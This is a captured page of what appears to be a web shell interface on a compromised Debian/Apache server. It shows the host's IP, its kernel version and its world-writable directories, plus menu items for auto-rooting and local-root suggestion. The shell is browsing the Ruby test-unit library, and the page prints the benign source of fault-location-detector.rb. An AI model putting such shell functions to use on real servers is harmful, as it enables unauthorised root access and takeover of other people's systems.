Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
ruby /
vendor_ruby /
test /
unit /
Delete
Unzip
Name
Size
Permission
Date
Action
collector
[ DIR ]
drwxrwxrwx
2020-08-24 23:49
runner
[ DIR ]
drwxrwxrwx
2020-08-24 23:49
ui
[ DIR ]
drwxrwxrwx
2020-08-24 23:49
util
[ DIR ]
drwxrwxrwx
2020-08-24 23:49
assertion-failed-error.rb
748
B
-rwxrwxrwx
2016-03-01 23:55
assertions.rb
72.92
KB
-rwxrwxrwx
2016-03-01 23:55
attribute-matcher.rb
431
B
-rwxrwxrwx
2016-03-01 23:55
attribute.rb
4.59
KB
-rwxrwxrwx
2016-03-01 23:55
auto-runner-loader.rb
379
B
-rwxrwxrwx
2016-03-01 23:55
autorunner.rb
15.8
KB
-rwxrwxrwx
2016-03-01 23:55
code-snippet-fetcher.rb
1.49
KB
-rwxrwxrwx
2016-03-01 23:55
collector.rb
1.81
KB
-rwxrwxrwx
2016-03-01 23:55
color-scheme.rb
7.12
KB
-rwxrwxrwx
2016-03-01 23:55
color.rb
2.95
KB
-rwxrwxrwx
2016-03-01 23:55
data.rb
8.34
KB
-rwxrwxrwx
2016-03-01 23:55
diff.rb
25.4
KB
-rwxrwxrwx
2016-03-01 23:55
error.rb
3.61
KB
-rwxrwxrwx
2016-03-01 23:55
exception-handler.rb
2.7
KB
-rwxrwxrwx
2016-03-01 23:55
failure.rb
5.09
KB
-rwxrwxrwx
2016-03-01 23:55
fault-location-detector.rb
2.72
KB
-rwxrwxrwx
2016-03-01 23:55
fixture.rb
8.88
KB
-rwxrwxrwx
2016-03-01 23:55
notification.rb
3.34
KB
-rwxrwxrwx
2016-03-01 23:55
omission.rb
4.5
KB
-rwxrwxrwx
2016-03-01 23:55
pending.rb
3.61
KB
-rwxrwxrwx
2016-03-01 23:55
priority.rb
4.39
KB
-rwxrwxrwx
2016-03-01 23:55
test-suite-creator.rb
2.69
KB
-rwxrwxrwx
2016-03-01 23:55
testcase.rb
22.49
KB
-rwxrwxrwx
2016-03-01 23:55
testresult.rb
3.09
KB
-rwxrwxrwx
2016-03-01 23:55
testsuite.rb
4.8
KB
-rwxrwxrwx
2016-03-01 23:55
version.rb
58
B
-rwxrwxrwx
2016-03-01 23:55
Save
Rename
# Copyright (C) 2012 Kouhei Sutou <kou@clear-code.com> # # License: Ruby's require "English" module Test module Unit class FaultLocationDetector def initialize(fault, code_snippet_fetcher) @fault = fault @code_snippet_fetcher = code_snippet_fetcher extract_fault_information end def split_backtrace_entry(entry) match_data = /\A(.+):(\d+)(?::(.*))?\z/.match(entry) return nil if match_data.nil? file, line_number, context = match_data.to_a[1..-1] line_number = line_number.to_i if /\Ain `(.+?)'/ =~ context method_name = $1 if /\Ablock (?:\(.+?\) )?in / =~ method_name method_name = $POSTMATCH end else method_name = nil end [file, line_number, context, method_name] end def target?(backtrace_entry) file, line_number, context, method_name = split_backtrace_entry(backtrace_entry) _ = context return false if file.nil? if @fault_source_location target_source_location?(file, line_number, method_name) elsif @fault_method_name target_method?(method_name) else true end end private def target_source_location?(file, line_number, method_name) fault_file, fault_line_number = @fault_source_location return false unless file.end_with?(fault_file) return false if line_number < fault_line_number lines = @code_snippet_fetcher.source(file) return false if lines.nil? base_indent_level = nil fault_line_number.step(lines.size) do |current_line_number| line = lines[current_line_number - 1] current_indent_level = guess_indent_level(line) base_indent_level ||= current_indent_level return true if current_line_number == line_number if current_line_number == fault_line_number break if /(?:\send|\})\s*$/ =~ line else break if current_indent_level == base_indent_level end end false end def target_method?(method_name) @fault_method_name == method_name end def guess_indent_level(line) if /\A(\s*)/ =~ line $1.sub(/\t/, " " * 8).count(" ") else 0 end end def extract_fault_information if @fault.respond_to?(:source_location) @fault_source_location = @fault.source_location else @fault_source_location = nil end if @fault.respond_to?(:method_name) @fault_method_name = @fault.method_name else @fault_method_name = nil end end end end end